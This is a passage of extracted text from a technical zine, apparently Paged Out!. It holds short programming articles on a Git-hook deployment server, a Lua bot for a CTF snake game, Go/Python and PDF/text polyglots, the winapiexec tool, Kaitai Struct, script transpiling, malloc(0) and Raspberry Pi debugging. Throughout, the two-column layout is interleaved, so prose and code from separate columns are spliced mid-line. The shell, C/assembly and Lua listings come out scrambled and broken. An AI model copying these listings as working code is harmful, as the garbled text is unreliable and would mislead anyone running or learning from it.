Ghidra, then Search->Memory... and look for the image to the SPI chip. That’s all!

Szymon Morawski
szymor.github.io
CC0 21
A minimal Version Control and Continuous Deployment Server with Git
Programming and Bash

A minimal Version Control while read oldrev newrev refname


do
and Continuous Deployment branch=\$(git rev-parse \
Server with Git and Bash --symbolic --abbrev-ref \
\$refname)
Continuous Integration/Deployment (CI/CD) en- if [ "\$branch" == "master" ]; then
sures that code changes are automatically echo "Triggering deployment !"
tested, integrated, and deployed. cd /home/gitserver/deploy
This guide sets up a minimalistic version control ./deploy.sh
and CD server using Git and Bash. You’ll estab- fi
lish a Git server on a remote Linux machine, set done
up your local project, and trigger deployments EOF
seamlessly on each pushed commit. chmod u+x post-receive

Setup the Git server Setup your local project


# On your remote server machine # On your dev machine,
sudo apt-get install git # let's create a dummy project
sudo adduser gitserver mkdir ~/myproject
su gitserver cd ~/myproject
cd /home/gitserver git init
mkdir repo git remote add origin \
cd repo ssh://gitserver@YOURSERVERADDRESS/~/repo
# We create a bare Git repository.
# This kind of repo does not have a First deployment from your local
# working directory and will only machine
# contain Git "filesystem". touch file001.txt
git init --bare git add .
git commit -m "First commit"
Setup the deployment git push -u origin master
# Create a space for deployment on the server
cd /home/gitserver Next deployments
mkdir -p deploy/myproject echo "Something" >> file001.txt
cd deploy/myproject git commit -a -m "Next commit"
git init git push
git remote add origin \
file:///home/gitserver/repo Output:
cd /home/gitserver/deploy remote: Triggering deployment !
# Two steps in the following deploy.sh: remote: Deploying project !
# - pull the sources from the bare repo remote: From file:///home/gitserver/repo
# - use them for integration and deployment remote: * branch master -> FETCH_HEAD
cat <<EOF >> deploy.sh remote: cc6b5f0..95b4faa master -> origin/master
#!/bin/bash remote: Updating cc6b5f0..95b4faa
echo "Deploying project !" remote: Fast-forward
cd /home/gitserver/deploy/myproject remote: file001.txt | 1 +
git --git-dir=$PWD pull origin master remote: 1 file changed, 1 insertion(+)
############################################# To ssh://SERVERADDRESS/~/repo
# From here, whatever you need, cc6b5f0..95b4faa master -> master
# npm install, mvn test, composer update...
# myproject folder contains the fresh sources Notes
############################################# The previous instructions assume that your re-
EOF mote server allows SSH connections with pass-
chmod u+x deploy.sh word authentication. If not, you probably have to
update your /etc/ssh/sshd_config accordingly.
Add the deployment trigger But of course, you should use proper security
# We add a Git hook to be triggered practices: SSH private/public keys.
# on each received commit
cd /home/gitserver/repo/hooks
cat <<EOF >> post-receive
#!/bin/bash

https://github.com/AntoineViau Antoine Viau


https://antoineviau.com
22 https://www.linkedin.com/in/antoine-viau-6ba9b610/ Public Domain
Solving a Snake Challenge with Hamiltonian Cycle
Programming

Solving a Snake 4 Implementation

Challenge with Fceux can be automated by Lua scripts which can con-
trol everything in the game. For this snake game, we
Hamiltonian Cycle only need to read the RAM and send joypad inputs.
We first need to know the x and y position of the
snake’s head. Fceux ships a well-built RAM searcher
which is similar to Cheat Engine7 . It soon turns out
that the position is located at byte 7 and 8 in the RAM.
1 Introduction Then we need to know the dimension of the game
1 board. We take note of the final x and y value when the
The 6th Flare-on CTF in 2019 came with an interesting
snake hits the wall. The board is 22 * 20 in size.
console game challenge – the challenge no.82 is a snake
3 According to my research, as long as one of the di-
game (snake.nes) for the NES platform .
mensions is even, there is a Hamiltonian cycle in it. The
The players do not need an actual NES hardware to cycle I used is shown in the following figure:
solve the challenge, since most NES games can be emu-
lated with fceux 4 . There is also plenty of documenta-
tion5 surrounding the 6502 CPU and NES.

2 Initial Game Play


The game itself is routine. We use the four arrow keys to
control the head of a snake. The goal is to eat as many
apples as possible while avoiding any collisions. I played
the game for a while but failed every time. Playing the
game by hand is not the right way to go.
Then, the typical method is to analyze the ROM, find The rest of the work is to determine when we should
the code that updates the score and see if a certain score press the joypad keys. The coding requires some pa-
reveals the flag. But this is easier said than done. We tience, but eventually we arrive at the following code:
are faced with an unfamiliar CPU and learning the ISA
can take some time. Fortunately, I quickly recalled that m = 23
I did some mathematical explorations on the snake game n = 21
in college and it could help. while ( true ) do
emu.frameadvance ();
x = memory.readbyte (7);
3 Hamiltonian Cycle: A Simple y = memory.readbyte (8);
-- num = memory.readbyte (0 x25 );
Strategy to Win the Game
if ( x ==2 and y %2==0 and y ~=0) then
Hamiltonian cycle 6 is a graph theory notion. A Hamil- joypad.write (1 , { up = true });
ton path is a path that visits all the vertices on a graph elseif ( x == m -1 and y %2==1) then
once and exactly once. A Hamilton cycle further re- joypad.write (1 , { up = true });
quires that the path starts and ends on the same vertex, elseif ( x ==1 and y ==0) then
thus forming a cycle. joypad.write (1 , { down = true });
How is a Hamiltonian cycle related to the game of elseif ( x == m and y %2==1) then
snake? Well, once we find a Hamiltonian cycle on the joypad.write (1 , { left = true });
game board, we simply need to have the snake’s head elseif ( x ==0 and y == n -1) then
follow the cycle. Due to the “exactly once” property of joypad.write (1 , { right = true });
the Hamiltonian cycle, there will never be any intersec- elseif ( x ==1 and y %2==0) then
tions between any parts of the snake. Furthermore, the joypad.write (1 , { right = true });
snake will capture at least one apple each time it tra- end ;
verses the cycle. The snake will grow in length until it end ;
fills the board.
Finally, launch the game, start the script and wait.
1 https://www.mandiant.com/resources/blog/
The game runs too slow so I set the emulation speed to
announcing-sixth-annual-flare-challenge
2 https://www.mandiant.com/media/23811 6400x. It took 4 minutes to clear the game and arrive
3 https://en.wikipedia.org/wiki/Nintendo_Entertainment_ at the flag scene. You can view a video of it at https:
System //www.youtube.com/watch?v=UxSEAg70Bzw.
4 https://www.fceux.com/web/home.html
5 http://www.6502.org/tutorials/
6 https://en.wikipedia.org/wiki/Hamiltonian_path 7 https://cheatengine.org/

Xusheng Li
https://xusheng.dev/
SAA-ALL 0.0.7 23
This Golang program is also valid Python
Programming

This Golang program is also valid Python


In the Interwebs, there are many heated debates about programming languages. In particular, people fight whether we should write software in Golang
or Python. I suggest to settle this dispute with one simple suggestion: Why not both?
On this page, the file py_poc/main.go is printed twice. Once with syntax highlighting for Golang and once with syntax highlighting for Python. This
is because this file is both a valid Golang program as well as a valid Python program.
$ tree py_poc/
py_poc/ # a valid Python module
├── __init__.py # tiny Python helper to initialize the module
└── main.go # a valid Golang program.

In Golang, a program starts running in package main. There can be line breaks
The main package contains and comments between the keyword package and the package name main.
the function main().

package // 1 Ordinary comments in Golang start with //.


Another main // 2 and print("Hello, Python") and """ The famous Hello, World of Golang.
ordinary import "fmt"
comment. func main() {
fmt.Println("Hello, Golang")
Golang source files must end in .go. Naming the file
}
with the main function main.go is just a convention.
// """
Filenames such as foo.go or foo.bar.go are also
py_poc/main.go (Golang Syntax Highlighting) okay. However, the name must end in .go. This de-
termines that our Golang Python polyglot looks like
a Golang file to the filesystem.

$ go run py_poc/main.go
In Python, Boolean operations work on ar-
Hello, Golang
bitrary objects. and and or perform short-
circuit evaluation and return the last evalu-
In Python, the variables package and main are ordinary variables. However, just calling ated argument. For example, 42 and "Y"
python3 main.go results in a NameError: name 'package' is not defined. returns "Y" and 42 or "Y" returns 42.
Before we can reference these variables, we need to make sure they are defined. Since
we use them in an integer division, they should be initialized as integers.
Just an ordinary integer divison. For example, setting
package=1, then package // 1 gives 1. Since the result
is not used, this line has no effect.
The whole Golang program, except for the package definition,
is inside a Python triple quoted string literal. In Python, triple
quoted strings can span multiple lines. The string ends on the package // 1
last line and serves as a way to comment out the Golang pro- main // 2 and print("Hello, Python") and """
gram. import "fmt"
func main() {
fmt.Println("Hello, Golang")
The builtins module provides direct access to all built-in identifiers. }
The documentation states that ”[t]his module is not normally accessed // """
explicitly by most applications”, but we will ignore this warning for our py_poc/main.go (Python Syntax Highlighting)
polyglot.
Except for things that are not a dictionary, everything is a dictionary.
Adding entries to builtins is essentially equivalent to defining a
import builtins
global variable in global scope. The module can be inspected with
builtins.package = 1
builtins.__dict__.
builtins.main = 2
When importing, Python only considers files ending in .py. But from importlib.machinery import SourceFileLoader
using the importlib directly, we can load anything. The same m = SourceFileLoader("main", "py_poc/main.go")
could be achieved with the deprecated imp module or just with m.load_module()
exec(open("py_poc/main.go").read()). But this feels like
cheating. py_poc/__init__.py

To have __init__.py executed first, we load the whole folder py_poc as a module.

$ python3 -c "import py_poc"


Hello, Python
Enjoy your polyglot!

Cornelius Diekmann
@[email protected]
github.com/diekmann
24 CC BY-SA 4.0
winapiexec - Run WinAPI functions from the command line
Programming

winapiexec.exe shell32@ShellExecuteA 0 0 $a:1886680168,791624307,925971565,1868770938,12141 0 0 0

// Meet winapiexec, a magazine variant for Paged Out! return 0;


// Run WinAPI functions from the command line. Usage: if(argv[argi][0] != L'\0' &&
// winapiexec.exe lib.dll@FuncName arg1 2 $a:x1,x2,x3 argv[argi][1] == L'\0') {
// Arg types can be: string, number, array, and more. switch(argv[argi][0]) {
// Calls can be comma-separated and nested. Check out case L',':
// https://ramensoftware.com/winapiexec for more info case L')':
// and examples. winapiexec.exe advapi32@GetUserNameW return 0;
// $b:65534 $a:32767 , user32@MessageBoxW 0 $$:2 Hi 0 case L'(':
#include <windows.h> // Tight but not obfuscated. :-) *pbNoMoreArgs = FALSE;
#include <shlwapi.h> // Use Visual Studio to compile, argi++;
int argc, argi = 1; // 3 KB if compiled without CRT. dwRet = ParseExecArgs();
WCHAR **argv; //////////////////////////////// argi++; // skip ")"
char *UnicodeToANSI(WCHAR *pszW) { return dwRet;
int size = WideCharToMultiByte(CP_ACP, 0, }
pszW, -1, NULL, 0, NULL, NULL); }
char *pszA = (char *)HeapAlloc(GetProcessHeap(), *pbNoMoreArgs = FALSE;
HEAP_GENERATE_EXCEPTIONS, size); dwRet = ParseArg(argv[argi]);
WideCharToMultiByte(CP_ACP, 0, argv[argi++] = (WCHAR *)dwRet;
pszW, -1, pszA, size, NULL, NULL); return dwRet;
return pszA; }
} DWORD_PTR __stdcall GetFunctionPtr() {
DWORD_PTR ParseArg(WCHAR *psz); return (DWORD_PTR)MyGetProcAddress(argv[argi++]);
DWORD_PTR ParseArrayArg(WCHAR *psz) { }
int count = 1; __declspec(naked)
for(int i = 0; psz[i] != L'\0'; i++) { DWORD_PTR __stdcall ParseExecFunction() {
if(psz[i] == L',') { __asm {
psz[i] = L'\0'; push ebx // Pointer to the function name argument
count++; push ebp // Stack
} mov ebp, esp
} push ecx // Stack variable, used as bNoMoreArgs
DWORD_PTR *pdw = (DWORD_PTR *)HeapAlloc( mov eax, argi // ** Save ptr to the func name arg
GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, mov ecx, argv
count * sizeof(DWORD_PTR)); lea ebx, dword ptr [ecx+eax*4]
for(int i = 0; i < count; i++) { call GetFunctionPtr // ** Push func ptr and args
pdw[i] = ParseArg(psz); arguments_parse_loop:
psz += lstrlen(psz) + 1; push eax
} lea ecx, dword ptr [ebp-0x04]
return (DWORD_PTR)pdw; push ecx
} call GetNextArg
DWORD_PTR ParseArg(WCHAR *psz) { cmp dword ptr [ebp-0x04], 0
int num; je arguments_parse_loop // Jump if !bNoMoreArgs
if(psz[0] == L'$' && psz[1] != L'\0' && mov eax, esp // ** Reverse arguments in the stack
psz[2] == L':') { lea ecx, dword ptr [ebp-0x08]
switch(psz[1]) { arguments_reverse_loop:
case L'b': // buffer mov edx, dword ptr [eax]
StrToIntEx(psz + 3, STIF_SUPPORT_HEX, &num); xchg dword ptr [ecx], edx
return (DWORD_PTR)HeapAlloc(GetProcessHeap(), mov dword ptr [eax], edx
HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, add eax, 0x04
num); sub ecx, 0x04
case L'$': // another arg cmp eax, ecx
StrToIntEx(psz + 3, STIF_SUPPORT_HEX, &num); jb arguments_reverse_loop
return (DWORD_PTR)argv[num]; pop eax // ** Call!
case L'a': // array call eax
return ParseArrayArg(psz + 3); mov dword ptr [ebx], eax
} mov esp, ebp // ** Done
} pop ebp
if(StrToIntEx(psz, STIF_SUPPORT_HEX, &num)) pop ebx
return (DWORD_PTR)num; ret
return (DWORD_PTR)psz; }
} }
FARPROC MyGetProcAddress(WCHAR *pszModuleProc) { DWORD_PTR ParseExecArgs() {
WCHAR *psz = pszModuleProc; DWORD_PTR dwRet = ParseExecFunction();
while(*psz != L'@') while(argi < argc && argv[argi][0] == L',' &&
psz++; argv[argi][1] == L'\0') {
*psz = L'\0'; argi++;
return GetProcAddress(LoadLibrary(pszModuleProc), dwRet = ParseExecFunction();
UnicodeToANSI(psz + 1)); }
} return dwRet;
DWORD_PTR ParseExecArgs(); }
DWORD_PTR __stdcall GetNextArg(BOOL *pbNoMoreArgs) { int main() {
DWORD_PTR dwRet; argv = CommandLineToArgvW(GetCommandLine(), &argc);
*pbNoMoreArgs = TRUE; ExitProcess((UINT)ParseExecArgs());
if(argi == argc) } // exercise to the reader: port to x64

Michael Maltsev https://m417z.com/


https://twitter.com/m417z/
SAA-ALL 0.0.7 https://github.com/m417z/ 25
Creating PDF/Plain Text Polyglots with LuaLaTeX
Programming

CREATING PDF/PLAIN TEXT POLYGLOTS WITH LUALATEX

Have you ever been reluctant to turn your beautiful plain text document
into a pdf? You would be. Right?! Because running your document through
latex or whatnot leaves you with two files: One that's nice to look at
when opened in a pdf viewer; and another that allows you to edit the
contents.
... or does it?

Well, why not tell, say, lualatex to just dump the plain text of the
file in question right into the pdf's byte stream itself? Quite a hassle,
you'd say? Not at all! The latex code to achieve this feat with lualatex,
for instance, consists of but a few lines. The first block of which uses
some low-level luatex commands to create an uncompressed pdf object with
'input.txt' as its contents; while the second block instructs the engine
to top that up with a verbatim pdf rendering of that same text.

\bgroup
\pdfvariable objcompresslevel=0
\immediate\pdfextension obj file {input.txt}
\egroup

\documentclass[a4paper]{minimal}
\usepackage{verbatim}
\begin{document}
\verbatiminput{input.txt}
\end{document}

Viewed in a text editor, the resulting pdf will look something like this:

%PDF-1.5
%?????????
1 0 obj
CREATING PDF/PLAIN TEXT POLYGLOTS WITH LUALATEX

[...]
And as for the rendered version;
as you have surely figured out by now:
You are currently looking at it.
endobj
4 0 obj
<< /Filter /FlateDecode /Length 1521 >>
stream
[[binary stuff]]

And as for the rendered version;


as you have surely figured out by now:
You are currently looking at it.

Frank Seifferth
[email protected]
26 CC0
JOIN GUIDEDHACKING.COM TODAY
One parser to rule them all!
Programming

Kaitai Struct: one parser to We can see four main sections in this example:

rule them all! meta Metadata of the file description such as its title, file
extension if any, license, default endianness to use when
parsing, etc.
Writing a parser can be a tedious task, albeit necessary
in many situations. It can be the case because there is no seq Sequence of attributes with their type, size when needed
library available in the programming language you use for (e.g. strings), documentation, etc.
manipulating a certain file format, or because you are work- types It is possible to create your own types and to instan-
ing on reverse engineering an unknown binary structure. In tiate them like I did for sender and target. They are
all cases, Kaitai Struct1 is here to get your back! both of type host info, which is defined in the types sec-
Kaitai Struct is a generic programming-language- tion. As you can see, each type has its own sequence of
independent binary-structure parser taking a YAML descrip- attributes.
tion as input and generating a language-specific parser as
output. The YAML description uses a declarative syntax, enums Like with any programming language, enumerations
which means that you only describe the very structure of are used to list the possible valid values of an attribute.
the data, not the way to parse it. This provides an elegant Here, the enumeration operations comprises the different
way to speed up the process of writing a parser while get- values of the field operation.
ting a generic description of the binary structure at the end.
Kaitai Struct is used by some well-known projects such as Once you have your format description ready, you can use
Kismet2 , mitmproxy3 , Binary Ninja4 and ZAP5 . the Kaitai Struct compiler to generate a parser for the pro-
Since a concrete example is often more efficient than a long gramming language of your choice. For instance, to generate
description, let’s have a look at a code snippet: a Python parser:

$ kaitai-struct-compiler -t python arp.ksy


meta:
id: arp_packet And to use the parser in Python:
title: ARP packet
license: MIT
ks-version: 0.7
endian: be
from arp_packet import ArpPacket
seq: from ipaddress import IPv4Address
- id: hw_type
type: u2
enum: hw_types data = ArpPacket.from_file("raw_arp.bin")
doc: Hardware type
- id: proto_type if data.proto_type == ArpPacket.ProtoTypes.ipv4:
type: u2
enum: proto_types print(IPv4Address(data.target.proto_addr))
doc: Protocol type
- id: len_hw
type: u1 The Kaitai Struct compiler is also capable of generating a
doc: Hardware length graph representation of the format description in DOT for-
- id: len_proto
type: u1
mat6 . Graphviz7 can then be used to generate a picture from
doc: Protocol length the DOT file:
- id: operation
type: u2 $ kaitai-struct-compiler -t graphviz ds_store.ksy
enum: operations
doc: Operation $ dot -T png -o ds_store.png ds_store.dot
- id: sender
type: host_info
doc: Sender information
- id: target
type: host_info
doc: Target information
types:
host_info:
seq:
- id: hw_addr
size: _parent.len_hw
doc: Hardware address
- id: proto_addr
size: _parent.len_proto
doc: Protocol address
enums:
Many file format descriptions are already available in the
hw_types: Kaitai Struct’s Format Gallery8 , including multimedia files,
0x1: ethernet networking protocols, game data files, filesystems, firmware,
operations:
0x1: request archive files, etc.
0x2: reply
proto_types:
0x0800: ipv4
0x86dd: ipv6

1
https://kaitai.io
2
https://www.kismetwireless.net
3 6
https://mitmproxy.org https://graphviz.org/doc/info/lang.html
4 7
https://binary.ninja https://graphviz.org/
5 8
https://www.zaproxy.org https://formats.kaitai.io

Paul-Emmanuel Raoul
https://blog.skyplabs.net
28 CC BY-SA 4.0
Transpiling Polling- Based Scripts into Event Driven Scripts using state
graph reconstruction Programming

state transitions.
Transpiling Polling- 3. Pop a state from the stack and initialize our

Based Scripts into


interpreter with its values.
4. Start traversing the AST inside the GameMode block. Take
or discard branches depending on the state variables.

Event Driven Note all the code which would be executed under this
state. Note all the conditions which have to be satisfied
in order to reach a certain code block.

Scripts using state 5. If a new state is found because of variable mutation,


push the new state to the stack and the transition
conditions between states
graph 6. If the states’ stack is not empty, jump to #3

reconstruction This way, we’ll end up with a graph that will


describe the state flow in this script based on
One of the most challenging things I had to do both player’s actions and the “background”
for The Elder Scrolls IV: Skyblivion mod is building script logic:
a transpiling compiler in order to convert old “OBScript”
scripts into Papyrus scripts which TES V: busy: 0 —- [] -> busy: 1
busy: 1 — [isAnimPlaying == 0] -> busy: 0
Skyrim engine can execute. API differences
Sample state flow graph
aside, the biggest change was departing from
polling-based scripts in favor of event-driven
Equipped with this, we can start emitting
handlers, allowing superior performance and
new code. For this, we have a hard-coded list
easier coding. In a polling model, you check for relevant state
of event handlers which map directly to the
changes periodically ( every game frame ), while in an event
state transition conditions, for example, a
driven model, you react to certain game events happening,
“isAnimPlaying == 0” expression would get
allowing for easier coding and superior performance.
mapped into “OnAnimationEvent” event
handler. Because we noted what code gets
scriptName SecretDoorLevelScript executed under which state, we can simply
short open
short busy paste ( after transpiling, of course ;) ) that
ref door code in.
One last thing to handle is - what to do when
begin onActivate there’s more than one condition? Surely this
if busy == 0 && door.isAnimPlaying == 0 means that we need to ensure both are
message(“playing animation, becoming busy”)
set busy to 1 satisfied at the same time - to achieve this,
door.playanimation we introduce a bitwise flag and mark flags in
endif event handlers, then jump to a common code
end block which basically will execute if all flags
are set.
begin gameMode
if door.isAnimPlaying == 0 && busy == 1
message(“Animation done, not busy anymore”) ScriptName SecretDoorLevelScript extends ObjectReference
set busy to 0 Int Property open Auto
endif Int Property busy Auto
end ObjectReference Property door Auto

Sample lever operating script, similar to these found in TES IV: Oblivion Event OnActivate(ObjectReference akActionRef)
game’s scriptbase - upon interaction if(busy == 0 && door.isAnimationPlaying() == 0)
Debug.Message(“playing animation, becoming busy”)
( OnActive block ), a door to which this lever is
busy = 1
connected opens. Polling code ( GameMode block ) runs
PlayAnimation();
every frame and sets busy flag off once animation stops Endif
playing. EndEvent

To learn about possible state transitions needed to build Event OnAnimationEvent(ObjectReference akSource, string
proper event handlers,, an “interpreter” was asEventName)
built. Then, an algorithm was used to explore if(busy == 1)
if(akSource == door && asEventName == “AnimationEnd”)
and build a state graph:
Debug.Message(“Animation done, no busy anymore”)
busy = 0
1. Push a default state into state stack, where variables Endif
are initialized to values which are default at script Endif
execution start ( numbers set to 0, etc. ). EndEvent
2. Start traversing the AST inside all blocks except
GameMode. Note all state combinations needed to Resulting script - polling GameMode handlers were replaced with
reach specific code block. Note all mutations to state EventHandlers that react to specific game events, freeing the game
and based on noted state required, push new states and engine from running script poll every game frame.

Alex

SAA-ALL 0.0.7 29
The Quest of malloc(0)
Programming

The Quest of malloc(0)


Prologue:
SUMMARY: AddressSanitizer: heap-buffer-overflow
I recently stumbled upon some discussion about the malloc(0)
/tmp/foo.c:19 in main
behavior. Since the issue looks more common than what I was Shadow bytes around the buggy address:
expecting (for example seen also in a Chrome bug 1), let's see how 0x0c047fff7fb0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
malloc(0) works and how it should be handled. 0x0c047fff7fc0
: <0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0
: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0
: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0
: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
The Quest: 0x0c047fff8000
: fa fa 01 fa fa fa[01]fa fa fa 01 fa fa fa fa fa
0x0c047fff8010
: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Everything began after a big Linux kernel oops 2 that happened when 0x0c047fff8020
: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
I was developing a kernel driver. I realized that it was generated by an 0x0c047fff8030
: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040
: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
access to the first byte of a buffer allocated (by mistake) to 0 bytes. 0x0c047fff8050
: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
:
This initially puzzled me because I checked for the allocation return As we can see, ASan is actually considering that it is valid to access
value and I got a "valid" pointer. the first byte of the 0-bytes allocation. The “fa”s represent the “guard
But looks like this is a defined behavior: from the C173 standard, we regions” around the allocated bytes 6.
can read (7.24.3)
I'm not sure if this ASan behavior is correct, since the standard says
"If the size of the space requested is zero, the behavior is we cannot use it to "access an object" (even if I could be
implementation-defined: misinterpreting the meaning of this): I actually had the kernel oops in
either a null pointer is returned to indicate an error, or the accessing the very first byte (even without KASan, Kernel
behavior is as if the size were some nonzero value, except that AddressSanitizer7).
the returned pointer shall not be used to access an object"
But at this point, why I had a page fault on first byte access? Wait! I
was in kernel space and using kmalloc instead, so glibc is not
Let’s get our hands dirty; both GCC 13.2.0 and Clang 16.0.6 on Ubuntu
involved.
22.04 follow the "valid pointer" implementation.
Running the following C code:
#include <stdio.h> Let's dig a bit further (from kernel 6.5.2 sources 8). Backtracking the
#include <stdlib.h> kmalloc calls from the code in “/mm/slab_common.c”:
int main(void){
char *out1; struct kmem_cache *kmalloc_slab(size_t size,
char *out2; gfp_t flags)
char *out3; {
unsigned int index;
out1 = malloc(1); if (size <= 192) {
out2 = malloc(0);
if (!size)
out3 = malloc(1);
return ZERO_SIZE_PTR; <--- What's this???
printf("out1: %p\n",out1); index = size_index[size_index_elem(size)];
printf("out2: %p\n",out2); } else {
printf("out3: %p\n",out3); [snip]

free(out1); One step further in “/include/linux/slab.h”


free(out2);
free(out3);
/*
}
* ZERO_SIZE_PTR will be returned for zero sized
We get something like:
* kmalloc requests.
out1: 0x55b36d0f8260
out2: 0x55b36d0f8280 <-- 0 size * Dereferencing ZERO_SIZE_PTR will lead to a
out3: 0x55b36d0f82a0 * distinct access fault.
* ZERO_SIZE_PTR can be passed to kfree though in
* the same way that NULL can.
The space on the heap has been allocated. But this is more related to
* Both make kfree a no-op.
glibc than to the compiler. Looking at glibc 2.38 4 malloc source code */
comments (“malloc.c”): #define ZERO_SIZE_PTR ((void *)16)
#define ZERO_OR_NULL_PTR(x) ((unsigned long)(x) <= \
Minimum allocated size: (unsigned long)ZERO_SIZE_PTR)
4-byte ptrs: 16 bytes (including 4 overhead)
8-byte ptrs: 24/32 bytes (including, 4/8 overhead)
Now everything is clear: in Linux Kernel, the kmalloc(0) returns a
When a chunk is freed, 12 (for 4byte ptrs) or 20 (for 8 “void” pointer (!=NULL), which causes a fault if accessed. The proper
byte ptrs but 4 byte size) or 24 (for 8/8) additional way to check a kmalloc return value is the ZERO_OR_NULL_PTR
bytes are needed; 4 (8) for a trailing size field and 8 macro defined above.
(16) bytes for free list pointers. Thus, the minimum
allocatable size is 16/24/32 bytes.
Even a request for zero bytes (i.e., malloc(0)) returns The End of the Quest:
a pointer to something of the minimum allocatable size. At the end, it looks like everyone is getting their own way in
managing the allocation of 0 bytes, with a lot of little (but sneaky)
So, 16/32 bytes are allocated in any case, and the buffer is definitely differences. Comparing the behavior of glibc with the Linux Kernel is
usable. somewhat forced, but I believe it's useful for a comprehensive
overview of the matter.
Let's check this with a memory error detector, AddressSanitizer 5
(ASan), and try to access the allocated memory. If we try to access
*out2, no errors appear, but if we try to go beyond it (out2[1]), we get @red5heep
a crash.
By looking at the output, we can understand why:

1 https://googleprojectzero.blogspot.com/2020/02/several-months-in-life-of-part2.html 5 https://github.com/google/sanitizers/wiki/AddressSanitizer
2 https://en.wikipedia.org/wiki/Linux_kernel_oops 6 https://www.usenix.org/system/files/sec22summer_zhang-yuchen.pdf
3 https://www.open-std.org/jtc1/sc22/wg14/www/docs/n3096.pdf 7 https://github.com/google/kernel-sanitizers/blob/master/KASAN.md
4 https://github.com/bminor/glibc/blob/36f2487f13e3540be9ee0fb51876b1da72176d3f/malloc/malloc.c#L106-L116 8 https://elixir.bootlin.com/linux/v6.5.2/source/mm/slab_common.c

Cesare Pizzi
https://github.com/cecio
@red5heep (Twitter/X)
30 CC0
RPI4 remote debug recipe!
Programming

RPI4 remote debug


recipe!
Tools: RPI4, C++, VSCode, CMake, Linux
Minimal project structure
Before we start with the main topic, a few files need to
be created. Thus, create a project which should match
at least the following tree directory:

VSCode attached to a remote app
.
-> . vscode
-> launch . json
-> settings . json Further steps
-> src Being in sync with the image and the RPI is highly
-> main . cc
recommended. If any library is installed directly on
-> CMakeLists . txt
-> rpi4 . toolchain . cmake the RPI, the image should be updated with the same
 copy. And until any platform-spefic header is used e.g.
The content of the above structure can be found by the linux/spi.h or linux/gpio.h, the code should be compil-
reader in the exeternal repo[1]. Once you get it, re- able locally without additional effort.
place the following paths with your own favorite paths With the current setup, you also get automatically gen-
as needed erated compile commands.json file utilized by clangd [3]
1. workspace: which provides code navigation and code completion.
/mnt/d/programming/remote debug rpi/ The same approach is appliccable even for quite large
repositories, such as Chromium.
2. image directory: Last but not least, a major gain of remote debugging,
/mnt/d/programming/x-compile-os/ not used here, is reducing the required disk usage by
Environment using stripped binaries on the RPI while keeping a de-
Install x-compile and indexing tools buggable version on your PC.
Misses
sudo apt install -y gcc -10 - aarch64 - linux - gnu
,→ g ++ -10 - aarch64 - linux - gnu gdb - multiarch 1. rpi ip in the launch.json file - hardcoded, seems
,→ clangd the plugin does not support aliases, so it has to be
 replaced with your own RPI4 ip address
Dump your RPI SD card or download a proper flash
image[2] as rpi img. Then, you are ready to configure 2. port 9999 - I like the number, but your firewall
your system and install the plugin for debugging. might feel differently

unxz -- keep < rpi_img >. img . xz 3. mounting offset - check [4] out
mkdir -p / mnt / d / programming /x - compile - os / rpi4
sudo mount -v -o offset =272629760
,→ < rpi_img >. img . xz Caveats
,→ / mnt / d / programming /x - compile - os / rpi4 Things are gettting much more complicated when the
project grows larger, libraries are distributed more
code -- install - extension webfreak . debug
code -- install - extension
widely, and it is compiled on a remote station using a vir-
,→ llvm - vs - code - extensions . vscode - clangd tual machine (e.g. qemu). Eventually, your simple con-
 figuration may stop working. However, GDB provides
Playground commands that can help point to the correct places, such
Now, compile the project and put the compiled binary as set solib-search-path path or set substitute-path from
on the raspberry. to etc.[5]

cmake -S . -B out_rpi References
,→ - D C M A K E _ E X P O R T _ C O M P I L E _ C O M M A N D S = True [1] https://github.com/HalfInner/remote_debug_rpi
,→ - D C M A K E _ B U I L D _ T Y P E = Debug -- toolchain
,→ rpi4 . toolchain . cmake [2] https://www.raspberrypi.com/software/
cmake -- build out_rpi - j7 operating-systems/
scp out_rpi / debug_rpi rpi :∼/
 [3] https://clangd.llvm.org/
The final step is to run the binary using gdbserver, and [4] https://raspberrypi.stackexchange.com/a/13138
after that, run a debug session by attaching it in your
VSCode (or by pressing the ”F5” key). [5] https://sourceware.org/gdb/onlinedocs/gdb/
 Source-Path.html
# FROM RPI
gdbserver :9999 ∼/ debug_rpi [6] https://tttapa.github.io/Pages/Raspberry-Pi/C+
 +-Development-RPiOS/index.html
Voilà! You have now become a driver.

Kajetan Brzuszczak
https://quernstone.pl
SAA-ALL 0.0.7 31
